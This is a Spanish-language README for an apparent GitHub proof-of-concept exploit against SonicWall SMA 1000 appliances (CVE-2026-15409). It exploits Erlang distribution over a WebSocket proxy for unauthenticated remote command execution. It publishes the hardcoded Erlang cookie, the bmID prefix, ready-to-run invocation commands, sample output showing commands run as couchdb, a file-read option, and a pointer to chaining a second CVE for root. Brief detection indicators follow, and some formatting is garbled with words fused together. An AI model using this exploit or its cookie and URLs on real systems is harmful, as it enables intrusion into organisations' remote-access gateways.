
Exploit de prueba de concepto para CVE-2026-15409 (RCE en SonicWall SMA 1000) mediante la distribución de Erlang sobre WebSocket. Logra ejecución remota de código no autenticada como usuario couchdb.
Exploit de prueba de concepto para CVE-2026-15409 – ejecución remota de código no autenticada en los dispositivos de la serie SonicWall SMA 1000 a través del protocolo de distribución de Erlang tunelizado sobre WebSocket.
CVE-2026-15409 es una vulnerabilidad crítica que afecta a los dispositivos SonicWall SMA 1000 (versiones anteriores al hotfix de junio de 2026). El fallo reside en el (normalmente expuesto en el puerto 443), que actúa como proxy de conexiones WebSocket hacia nodos Erlang internos. Forjando un parámetro válido y utilizando una cookie Erlang hardcodeada, un atacante puede establecer un canal de distribución autenticado y ejecutar comandos arbitrarios del sistema como el usuario (u otras cuentas con privilegios bajos) mediante llamadas RPC a .
bmIDcouchdbos:cmd/1Este repositorio proporciona un PoC totalmente funcional que automatiza toda la cadena del exploit, desde el handshake WebSocket hasta la ejecución arbitraria de comandos, con una interfaz limpia, manejo avanzado de errores y un logging atractivo.
wss:// mediante el endpoint wsproxy.os:cmd/1; puede leer archivos a través de file:read_file/1 o comprobar la conectividad con erlang:node/0.bmID arbitrarios (siempre que empiecen por -3389) y múltiples valores de serviceType.[+], [*], [-], [!] para facilitar la monitorización.La vulnerabilidad se debe a las siguientes debilidades de diseño en el SMA 1000:
/wsproxy reenvía mensajes WebSocket binarios a un puerto local de distribución de Erlang (localhost:1050 por defecto) sin la autenticación o autorización adecuadas.[email protected] escucha en el puerto 1050 y acepta conexiones desde el proxy WebSocket, por lo que es accesible desde la red.rex, que puede ejecutar funciones arbitrarias en el nodo, incluida os:cmd/1.ex_sra_vm_12.5.0-02002.ova).couchdb (UID 1010, grupo daemon).file:read_file/1.websockets (instálala con pip install websockets).git clone https://github.com/Ch4120N/CVE-2026-15409.git
cd CVE-2026-15409
pip install -r requirements.txt # websockets
python3 cve-2026-15409.py \
--ws-url 'wss://TARGET_IP/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
--ws-user-agent 'SMA Connect Agent' \
--ws-insecure-tls \
--exec 'whoami && id && pwd && hostname'
░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄
░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█
░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░
[CVE-2026-15409]
Erlang Distribution RCE via WebSocket Proxy
Owner: Ch4120N
[ * ] Connecting via WebSocket to wss://192.168.56.102/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050
[ * ] Preparing RPC: os:cmd('whoami && id && pwd && hostname')
[ + ] Authenticated to [email protected]
[ * ] Calling os:cmd/1 ...
[ + ] RPC call completed
[ * ] Peer name: [email protected]
[ * ] Peer flags: 0xd07df7fbd
[ * ] Peer creation: 1784069352
[ + ] Command output:
couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma
| Argumento | Descripción |
|---|---|
--host, --port | Alternativa TCP (si no se usa WebSocket) |
--cookie | Sobrescribe la cookie hardcodeada por defecto |
--name | Nombre personalizado del nodo Erlang local |
--ws-origin | Establece la cabecera Origin para WebSocket |
--ws-user-agent | Cadena de User-Agent (por defecto: SMA Connect Agent) |
--ws-insecure-tls | Desactiva la verificación TLS (certificados autofirmados) |
--read-file | Lee un archivo del objetivo (p. ej., /etc/passwd) |
--rpc | Solo probar la conexión llamando a erlang:node/0 |
La cookie Erlang utilizada en el exploit es:
10ecad5b446e86864832904cd439b6b70262
Este valor es consistente en todos los dispositivos SMA probados y está hardcodeado en el proceso Erlang en localhost:1050. No es la misma cookie configurada por el usuario para el clustering.
bmIDEl bmID debe comenzar con -3389 (p. ej., -3389c1b25ccd). Se aceptan valores arbitrarios después del prefijo, por lo que la detección basada en firmas no debería depender de un hash fijo.
Aunque el ejemplo utiliza serviceType=SSH, otros valores como TELNET también funcionan. El exploit es agnóstico al tipo de servicio.
El puerto 1050 es el puerto interno por defecto, pero también se han observado ataques reales dirigidos al puerto 8188. El exploit puede adaptarse a cualquier puerto que exponga el protocolo de distribución de Erlang.
Tras obtener una shell como couchdb, un atacante puede aprovechar CVE-2026-15410, un path traversal de XML‑RPC que permite eliminar el hotfix y, posteriormente, escalar privilegios a root.
/wsproxy con bmID que comience con -3389.couchdb (p. ej., bash, python, nc)./var/tmp/ por el usuario couchdb.Este proyecto está licenciado bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.
Aviso legal: Esta herramienta es solo para fines educativos y de pruebas autorizadas. El autor y los colaboradores no son responsables del mal uso o de los daños causados por este software.
Si te resulta útil este PoC, considera darle una ⭐ en GitHub y compartirlo de forma responsable. ¡Las contribuciones, los issues y las pull requests son bienvenidas!
¡Feliz hacking! 🛡️